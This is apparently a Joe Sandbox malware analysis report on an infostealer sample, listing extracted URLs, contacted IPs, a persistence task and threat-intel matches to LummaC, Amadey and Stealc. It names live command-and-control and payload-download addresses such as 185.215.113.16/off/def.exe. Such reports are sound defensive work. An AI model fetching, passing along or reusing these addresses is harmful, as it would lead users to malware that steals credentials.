http://185.215.113.43/Zu7JuNko/index.php9001	skotes.exe, 0000000F.00000002.2957332122.0000000000ED7000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.sectigo.com/SectigoPublicTimeStampingCAR36.crl0z	skotes.exe, 0000000F.00000002.2957332122.0000000000ED7000.00000004.00000020.00020000.00000000.sdmp, 8c6b987a2c.exe, 00000010.00000002.2876504906.0000000000E93000.00000004.00000020.00020000.00000000.sdmp, random[1].exe.15.dr	false		high
https://support.microsof	AWrVzd6XpC.exe, 00000000.00000003.1757069324.00000000055F1000.00000004.00000800.00020000.00000000.sdmp, 8c6b987a2c.exe, 00000012.00000003.2927554859.0000000003C75000.00000004.00000800.00020000.00000000.sdmp	false		high
https://treehoneyi.click/T	59bcbe04f3.exe, 00000013.00000002.2953798194.00000000014E3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.16/off/def.exe	AWrVzd6XpC.exe, 00000000.00000003.1992346807.0000000000CCA000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1992298031.0000000000CE7000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1992393126.0000000000CB5000.00000004.00000020.00020000.00000000.sdmp	false		high
https://grannyejh.lat/rd(Fy	AWrVzd6XpC.exe, 00000000.00000003.1878028096.0000000000CDD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	AWrVzd6XpC.exe, 00000000.00000003.1757150147.00000000055C5000.00000004.00000800.00020000.00000000.sdmp, 8c6b987a2c.exe, 00000012.00000003.2927803313.0000000003C02000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/off/def.exemnko	AWrVzd6XpC.exe, 00000000.00000003.1992346807.0000000000CCA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000003.2404024605.000000000C03C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://pancakedipyps.click/pi~	8c6b987a2c.exe, 00000012.00000002.2951627385.0000000001543000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://grannyejh.lat/&d	AWrVzd6XpC.exe, 00000000.00000003.1878028096.0000000000CDD000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1859323658.0000000000CDB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://grannyejh.lat/apiN	AWrVzd6XpC.exe, 00000000.00000003.1780052201.0000000000CE8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://ocsp.sectigo.com0	skotes.exe, 0000000F.00000002.2957332122.0000000000ED7000.00000004.00000020.00020000.00000000.sdmp, 8c6b987a2c.exe, 00000010.00000002.2876504906.0000000000E93000.00000004.00000020.00020000.00000000.sdmp, random[1].exe.15.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpd	BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2523365754.0000000001562000.00000004.00000020.00020000.00000000.sdmp	false		high
https://grannyejh.lat:443/apibTx	AWrVzd6XpC.exe, 00000000.00000003.1780052201.0000000000CE8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206/68b591d6548ec281/freebl3.dlleu	BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2523365754.0000000001562000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.16/)g	AWrVzd6XpC.exe, 00000000.00000003.1992298031.0000000000CD3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.206/68b591d6548ec281/msvcp140.dllR4L5	BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2523365754.0000000001548000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	AWrVzd6XpC.exe, 00000000.00000003.1756616344.00000000055DE000.00000004.00000800.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1756676835.00000000055DB000.00000004.00000800.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1756750960.00000000055DB000.00000004.00000800.00020000.00000000.sdmp, BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2523365754.0000000001562000.00000004.00000020.00020000.00000000.sdmp, 8c6b987a2c.exe, 00000012.00000003.2926545484.0000000003C19000.00000004.00000800.00020000.00000000.sdmp, 8c6b987a2c.exe, 00000012.00000003.2926378958.0000000003C19000.00000004.00000800.00020000.00000000.sdmp, 8c6b987a2c.exe, 00000012.00000003.2926147268.0000000003C1B000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#	skotes.exe, 0000000F.00000002.2957332122.0000000000ED7000.00000004.00000020.00020000.00000000.sdmp, 8c6b987a2c.exe, 00000010.00000002.2876504906.0000000000E93000.00000004.00000020.00020000.00000000.sdmp, random[1].exe.15.dr	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	AWrVzd6XpC.exe, 00000000.00000003.1779952047.00000000055EA000.00000004.00000800.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1757069324.00000000055F1000.00000004.00000800.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1779803626.00000000055EA000.00000004.00000800.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1757150147.00000000055EA000.00000004.00000800.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1780122143.00000000055EA000.00000004.00000800.00020000.00000000.sdmp, BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2518247664.0000000000B64000.00000040.00000001.01000000.00000009.sdmp, BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000003.2262592384.0000000005CAD000.00000004.00000020.00020000.00000000.sdmp, 8c6b987a2c.exe, 00000012.00000002.2955157000.0000000003C27000.00000004.00000800.00020000.00000000.sdmp, 8c6b987a2c.exe, 00000012.00000003.2927803313.0000000003C27000.00000004.00000800.00020000.00000000.sdmp, 8c6b987a2c.exe, 00000012.00000003.2927554859.0000000003C73000.00000004.00000800.00020000.00000000.sdmp, 8c6b987a2c.exe, 00000012.00000003.2928037111.0000000003C27000.00000004.00000800.00020000.00000000.sdmp	false		high
https://pancakedipyps.click:443/api	8c6b987a2c.exe, 00000012.00000002.2951627385.0000000001543000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.sectigo.com/SectigoPublicTimeStampingRootR46.crl0	skotes.exe, 0000000F.00000002.2957332122.0000000000ED7000.00000004.00000020.00020000.00000000.sdmp, 8c6b987a2c.exe, 00000010.00000002.2876504906.0000000000E93000.00000004.00000020.00020000.00000000.sdmp, random[1].exe.15.dr	false		high
https://grannyejh.lat:443/api(	AWrVzd6XpC.exe, 00000000.00000003.1859910387.0000000000CCF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://x1.c.lencr.org/0	AWrVzd6XpC.exe, 00000000.00000003.1802874978.00000000055CB000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	AWrVzd6XpC.exe, 00000000.00000003.1802874978.00000000055CB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	AWrVzd6XpC.exe, 00000000.00000003.1757150147.00000000055C5000.00000004.00000800.00020000.00000000.sdmp, 8c6b987a2c.exe, 00000012.00000003.2927803313.0000000003C02000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	AWrVzd6XpC.exe, 00000000.00000003.1756616344.00000000055DE000.00000004.00000800.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1756676835.00000000055DB000.00000004.00000800.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1756750960.00000000055DB000.00000004.00000800.00020000.00000000.sdmp, BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2523365754.0000000001562000.00000004.00000020.00020000.00000000.sdmp, 8c6b987a2c.exe, 00000012.00000003.2926545484.0000000003C19000.00000004.00000800.00020000.00000000.sdmp, 8c6b987a2c.exe, 00000012.00000003.2926378958.0000000003C19000.00000004.00000800.00020000.00000000.sdmp, 8c6b987a2c.exe, 00000012.00000003.2926147268.0000000003C1B000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.phpuP	skotes.exe, 0000000F.00000002.2957332122.0000000000EBF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://31.41.244.11/files/london/random.exe	skotes.exe, 0000000F.00000002.2957332122.0000000000EE9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://support.mozilla.org/products/firefoxgro.all	AWrVzd6XpC.exe, 00000000.00000003.1804017127.00000000056BC000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/mine/random.exe=	BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2523365754.0000000001562000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.sqlite.org/copyright.html.	BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2529515199.0000000005DB5000.00000004.00000020.00020000.00000000.sdmp, BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2540357804.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	false		high
https://sectigo.com/CPS0	skotes.exe, 0000000F.00000002.2957332122.0000000000ED7000.00000004.00000020.00020000.00000000.sdmp, 8c6b987a2c.exe, 00000010.00000002.2876504906.0000000000E93000.00000004.00000020.00020000.00000000.sdmp, random[1].exe.15.dr	false		high
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2534290002.000000000BDE2000.00000004.00000020.00020000.00000000.sdmp, BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2523365754.0000000001562000.00000004.00000020.00020000.00000000.sdmp, FIECFBAAAFHIIDGCGCBF.5.dr	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	AWrVzd6XpC.exe, 00000000.00000003.1756616344.00000000055DE000.00000004.00000800.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1756676835.00000000055DB000.00000004.00000800.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1756750960.00000000055DB000.00000004.00000800.00020000.00000000.sdmp, 8c6b987a2c.exe, 00000012.00000003.2926545484.0000000003C19000.00000004.00000800.00020000.00000000.sdmp, 8c6b987a2c.exe, 00000012.00000003.2926378958.0000000003C19000.00000004.00000800.00020000.00000000.sdmp, 8c6b987a2c.exe, 00000012.00000003.2926147268.0000000003C1B000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/steam/random.exep9	AWrVzd6XpC.exe, 00000000.00000003.1992346807.0000000000CCA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://grannyejh.lat/	AWrVzd6XpC.exe, AWrVzd6XpC.exe, 00000000.00000003.1832522156.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1827868227.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1836312531.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1830842138.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1834366630.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1831567671.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1835201454.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1834620512.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1834122320.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1830212681.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1992298031.0000000000CD3000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1829521154.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1828173832.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1992298031.0000000000CE7000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1830344837.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1832350531.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1836690020.0000000000CD7000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1831976810.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1828033872.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1835695200.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.16/steam/random.exe	AWrVzd6XpC.exe, 00000000.00000003.1992346807.0000000000CCA000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#	skotes.exe, 0000000F.00000002.2957332122.0000000000ED7000.00000004.00000020.00020000.00000000.sdmp, 8c6b987a2c.exe, 00000010.00000002.2876504906.0000000000E93000.00000004.00000020.00020000.00000000.sdmp, random[1].exe.15.dr	false		high
https://grannyejh.lat:443/api..	AWrVzd6XpC.exe, 00000000.00000003.1878335432.0000000000CCF000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1919015151.0000000000CD1000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1918754542.0000000000CCF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206/68b591d6548ec281/vcruntime140.dllH8	BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2523365754.0000000001548000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ac.ecosia.org/autocomplete?q=	AWrVzd6XpC.exe, 00000000.00000003.1756616344.00000000055DE000.00000004.00000800.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1756676835.00000000055DB000.00000004.00000800.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1756750960.00000000055DB000.00000004.00000800.00020000.00000000.sdmp, 8c6b987a2c.exe, 00000012.00000003.2926545484.0000000003C19000.00000004.00000800.00020000.00000000.sdmp, 8c6b987a2c.exe, 00000012.00000003.2926378958.0000000003C19000.00000004.00000800.00020000.00000000.sdmp, 8c6b987a2c.exe, 00000012.00000003.2926147268.0000000003C1B000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/	AWrVzd6XpC.exe, 00000000.00000003.1992298031.0000000000CD3000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
172.217.19.228	www.google.com	United States	15169	GOOGLEUS	false
172.67.179.109	grannyejh.lat	United States	13335	CLOUDFLARENETUS	false
172.67.180.113	treehoneyi.click	United States	13335	CLOUDFLARENETUS	true
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
172.67.209.202	pancakedipyps.click	United States	13335	CLOUDFLARENETUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false

Private

IP
192.168.2.4
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1578033
Start date and time:	2024-12-19 07:55:24 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 7s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	20
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	AWrVzd6XpC.exe renamed because original name is a hash value
Original Sample Name:	d0bb2fa7815ae25e59827dd3e8a710ba.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@37/39@6/11
EGA Information:	Successful, ratio: 33.3%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 217.20.58.100, 192.229.221.95, 142.250.181.99, 64.233.162.84, 172.217.19.206, 172.217.17.46, 172.217.17.67, 142.250.181.142, 52.149.20.212, 92.122.16.236, 13.107.246.63
Excluded domains from analysis (whitelisted): fs.microsoft.com, clients2.google.com, ocsp.digicert.com, accounts.google.com, redirector.gvt1.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, clientservices.googleapis.com, clients.l.google.com, www.gstatic.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target AWrVzd6XpC.exe, PID 6360 because there are no executed function
Execution Graph export aborted for target BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, PID 4944 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
01:56:18	API Interceptor	35x Sleep call for process: AWrVzd6XpC.exe modified
01:57:22	API Interceptor	94x Sleep call for process: BSXM76J67J2SWCC02VQCUVS8ZQNV.exe modified
01:58:01	API Interceptor	184x Sleep call for process: skotes.exe modified
01:58:17	API Interceptor	2x Sleep call for process: 8c6b987a2c.exe modified
06:57:40	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, PureLog Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, zgRAT	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, PureLog Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	random.exe.7.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
172.67.179.109	469oyXQbRY.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, PureLog Stealer, Stealc	Browse
	NHEXQatKdE.exe	Get hash	malicious	LummaC	Browse
	pPizCGDvrx.exe	Get hash	malicious	LummaC	Browse
	D2Cw8gWOXj.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, zgRAT	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, PureLog Stealer, Stealc	Browse
	0Vwp4nJQOc.exe	Get hash	malicious	LummaC, Stealc	Browse
	Z1jUFmrTua.exe	Get hash	malicious	LummaC, Stealc	Browse
172.67.180.113	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
treehoneyi.click	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	172.67.180.113
grannyejh.lat	469oyXQbRY.exe	Get hash	malicious	LummaC	Browse	172.67.179.109
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS	Browse	104.21.64.80
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, PureLog Stealer, Stealc	Browse	172.67.179.109
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Xmrig	Browse	104.21.64.80
	rK0CtrtVrl.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.64.80
	NHEXQatKdE.exe	Get hash	malicious	LummaC	Browse	172.67.179.109
	CefJcYwgWs.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.64.80
	tdMnK5A1pe.exe	Get hash	malicious	LummaC	Browse	104.21.64.80
	3DI3mOIlxE.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.64.80
	pPizCGDvrx.exe	Get hash	malicious	LummaC	Browse	172.67.179.109
pancakedipyps.click	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, zgRAT	Browse	172.67.209.202
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, Stealc	Browse	104.21.23.76
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	104.21.23.76
	random.exe.10.exe	Get hash	malicious	LummaC	Browse	104.21.23.76
	random.exe.6.exe	Get hash	malicious	LummaC, Python Stealer, Amadey, LummaC Stealer, Monster Stealer, Stealc, Vidar	Browse	104.21.23.76
	random.exe_Y.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	172.67.209.202
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	104.21.23.76
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	104.21.23.76
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	172.67.209.202
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	104.21.23.76

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	Brooming.vbs	Get hash	malicious	Remcos, GuLoader	Browse	104.21.86.72
	469oyXQbRY.exe	Get hash	malicious	LummaC	Browse	172.67.179.109
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS	Browse	104.21.64.80
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	104.21.67.146
	1.elf	Get hash	malicious	Unknown	Browse	141.101.96.239
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, PureLog Stealer, Stealc	Browse	104.21.12.88
	https://d2kjcgrb1q4xt7.cloudfront.net/mULiCoBDj2Ug.exe	Get hash	malicious	Unknown	Browse	172.67.26.92
	https://www.bing.com/ck/a?!&&p=24da94b1cbc4e30be5abd9acb5737b3bdb775a56c39aac0141dd9c17c937dea1JmltdHM9MTczMzI3MDQwMA&ptn=3&ver=2&hsh=4&fclid=1bf8b81c-3b95-652f-24ec-ad573a81643b&u=a1aHR0cHM6Ly93d3cueXV4aW5na2V0YW5nLmNvbS9jb2xsZWN0aW9ucy90aHJvdy1ibGFua2V0cw#aHR0cHM6Ly9Uby5lZW1qaGl1bHoucnUvek83UkZORy8=	Get hash	malicious	Unknown	Browse	104.16.123.96
	https://www.bing.com/ck/a?!&&p=24da94b1cbc4e30be5abd9acb5737b3bdb775a56c39aac0141dd9c17c937dea1JmltdHM9MTczMzI3MDQwMA&ptn=3&ver=2&hsh=4&fclid=1bf8b81c-3b95-652f-24ec-ad573a81643b&u=a1aHR0cHM6Ly93d3cueXV4aW5na2V0YW5nLmNvbS9jb2xsZWN0aW9ucy90aHJvdy1ibGFua2V0cw#aHR0cHM6Ly9Uby5lZW1qaGl1bHoucnUvek83UkZORy8=	Get hash	malicious	Unknown	Browse	104.17.25.14
	doc55334.html	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, PureLog Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Xmrig	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	185.215.113.43
	rK0CtrtVrl.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	CefJcYwgWs.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	3DI3mOIlxE.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	D2Cw8gWOXj.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, zgRAT	Browse	185.215.113.16
CLOUDFLARENETUS	Brooming.vbs	Get hash	malicious	Remcos, GuLoader	Browse	104.21.86.72
	469oyXQbRY.exe	Get hash	malicious	LummaC	Browse	172.67.179.109
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS	Browse	104.21.64.80
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	104.21.67.146
	1.elf	Get hash	malicious	Unknown	Browse	141.101.96.239
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, PureLog Stealer, Stealc	Browse	104.21.12.88
	https://d2kjcgrb1q4xt7.cloudfront.net/mULiCoBDj2Ug.exe	Get hash	malicious	Unknown	Browse	172.67.26.92
